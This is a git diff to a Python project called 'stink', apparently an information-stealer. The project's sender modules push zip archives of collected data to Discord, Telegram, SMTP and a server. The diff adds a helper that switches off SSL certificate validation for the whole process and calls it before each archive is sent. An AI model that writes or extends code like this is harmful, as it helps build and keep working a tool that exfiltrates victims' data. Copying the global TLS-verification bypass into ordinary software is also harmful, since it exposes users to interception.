diff --git a/stink/abstract/sender.py b/stink/abstract/sender.py index a865fb2..a9d4752 100644 --- a/stink/abstract/sender.py +++ b/stink/abstract/sender.py @@ -1,3 +1,4 @@ +import ssl from io import BytesIO from abc import abstractmethod from typing import Tuple, Union @@ -44,6 +45,19 @@ def __send_archive(self) -> None: """ ... + @staticmethod + def _create_unverified_https(): + """ + Disables SSL certificate validation. + + Parameters: + - None. + + Returns: + - None. + """ + ssl._create_default_https_context = ssl._create_unverified_context + @abstractmethod def run(self, zip_name: str, data: BytesIO) -> None: """ diff --git a/stink/senders/discord.py b/stink/senders/discord.py index 86355e6..7cfa58f 100644 --- a/stink/senders/discord.py +++ b/stink/senders/discord.py @@ -65,6 +65,7 @@ def run(self, zip_name: str, data: BytesIO) -> None: try: + self._create_unverified_https() self.__send_archive() except Exception as e: diff --git a/stink/senders/server.py b/stink/senders/server.py index 014bf21..38cfff3 100644 --- a/stink/senders/server.py +++ b/stink/senders/server.py @@ -65,6 +65,7 @@ def run(self, zip_name: str, data: BytesIO) -> None: try: + self._create_unverified_https() self.__send_archive() except Exception as e: diff --git a/stink/senders/smtp.py b/stink/senders/smtp.py index 9e70052..f7d88d1 100644 --- a/stink/senders/smtp.py +++ b/stink/senders/smtp.py @@ -75,6 +75,7 @@ def run(self, zip_name: str, data: BytesIO) -> None: try: + self._create_unverified_https() self.__send_archive() except Exception as e: diff --git a/stink/senders/telegram.py b/stink/senders/telegram.py index d927422..450e4f9 100644 --- a/stink/senders/telegram.py +++ b/stink/senders/telegram.py @@ -67,6 +67,7 @@ def run(self, zip_name: str, data: BytesIO) -> None: try: + self._create_unverified_https() self.__send_archive() except Exception as e: